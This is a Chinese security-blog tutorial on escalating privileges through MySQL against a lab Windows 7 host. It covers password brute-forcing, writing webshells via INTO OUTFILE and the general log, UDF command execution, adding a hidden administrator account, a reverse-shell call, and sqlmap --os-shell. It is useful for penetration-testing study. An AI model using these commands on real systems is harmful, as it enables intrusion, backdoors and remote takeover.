freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Mysql环境下的提权方式小结
superLeeH 2023-02-11 20:12:26 148612
所属地 四川省

前言

针对在Mysql数据库环境下的提权方式

环境搭建

win7的靶机(ip:192.168.153.132) + phpstudy搭建

  1. 将mysql设置为可以远程连接:

    在mysql库中,有一个user表,通过select host,user from user;来查看登陆的host

    将root用户改为任意的ip都可以登陆update user set host='%' where user='root';

image-20220414152810786.png

获取权限

数据库操纵权限获取

mysql弱口令爆破

先使用nmap进行探测3306端口是否开放

nmap -sV 192.168.153.132: -sV通过开放的端口探测服务信息

image-20220414145050225.png

开放了3306端口

通过hydra爆破

image-20220414153605632.png

通过msf爆破
  1. msfconsole

  2. search mysql

  3. use xxx

  4. show options

  5. set xx xx

  6. run
    image-20220414154144987.png

其他方法

通过sqlmap注入的--sql-shell模式

image-20220414162713517.png

shell权限获取

写入shell需要具有写权限

into outfile

如果load_file()可用即secure_file_priv无限制,且具有写权限

secure_file_priv的值:

Value说明
NULL不允许导入或导出
/tmp只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:

select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

sqlmap 中可以如下操作:

sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

通过日志写shell

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

win7靶机有一个phpmyadmin目录

image-20220414170646225.png

general_log默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

首先开启general_log:

set global general_log='on';

image-20220414171127428.png

之后shell就成功写入了

image-20220414171321400.png

提权

上面已经通过了日志写shell得到了shell权限,现在就需要提升权限了

UDF提权

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展 MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便 实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便

手工提权

动态链接库

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数

使用msf工具的动态链接库

image-20220414182447884.png

放入plugin目录之后

创建命令执行函数

create function sys_eval returns string soname "lib_mysqludf_sys.dll";

函数介绍:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。(但是不会有回显)

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。 一般用于创建新用户维持权限

命令:

create function cmdshell returns string soname 'moonudf.dll' 【创建cmdshell】

select cmdshell('net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add') 【添加超级管理员】

select cmdshell('net user') 【查看用户】

select cmdshell('netstat -an') 【查看端口】

select name from mysql.func 【查看创建函数】

delete from mysql.func where name='cmdshell' 【删除cmdshell】

create function backshell returns string soname 'moonudf.dll' 【创建反弹函数】

select backshell('192.168.157.130',12345) 【执行反弹】

delete from mysql.func where name='backshell' 【删除backshell】

寻找plugin目录

如果不存在,在mysql目录下新建lib/plugin文件夹

工具提权

sqlmap提权

secure_file_priv需要为空,不能为null

sqlmap -d "mysql://root:root@192.168.153.132:3306/mysql" --os-shell

msf提权

适合5.5.9以下版本

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 superLeeH 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
superLeeH LV.5
这家伙太懒了,还未填写个人描述!
  • 50 文章数
  • 29 关注者
hutool组件下dynamic proxy和JDBC的部分可用链
2025-03-18
Vaadin组件下的新反序列化链寻找
2025-02-11
json组件下的原生反序列化getter触发
2025-01-13
文章目录